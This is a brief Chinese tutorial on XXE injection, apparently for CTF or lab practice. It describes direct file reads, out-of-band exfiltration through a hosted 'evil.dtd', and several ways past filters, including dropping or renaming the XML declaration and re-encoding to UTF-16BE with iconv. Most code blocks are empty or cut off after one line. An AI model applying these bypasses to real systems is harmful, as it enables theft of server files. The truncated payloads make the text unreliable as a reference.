外部注入
直接读取文件
payload1
1 |
|
读取如何外带
在网页下设置evil.dtd,代码如下:
1 | <!ENTITY % all |
在bp里传输数据如下:
1 |
|
被禁用后常见的绕过
一.滤了 <?xml version=”1.0”
1.不写XML声明绕过
payload:
evil.dtd同上,bp传递数据如下:
1 | <!DOCTYPE root [ |
2.在xml后面多加个空格绕过
bp里数据如下:
1 |
|
3.把xml改成其他你喜欢的东西
1 | <?fuck version="1.0" encoding="UTF-8" ?> |
二. 过滤了http协议
1.使用 UTF-16 编码绕过
payload.xml文件内容:
1 | <!DOCTYPE root [ |
第一步,在linux坏境下使用指令cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml。
第二步,在burp里面输入文件标识<?fuck version="1.0" encoding="UTF-16BE" ?>
第三步,bp,在请求框里右键,点击从文件粘贴(注意,必须从文件粘贴,不能直接复制粘贴,不然格式会乱从而无法识别)
第四步,发送请求,成功(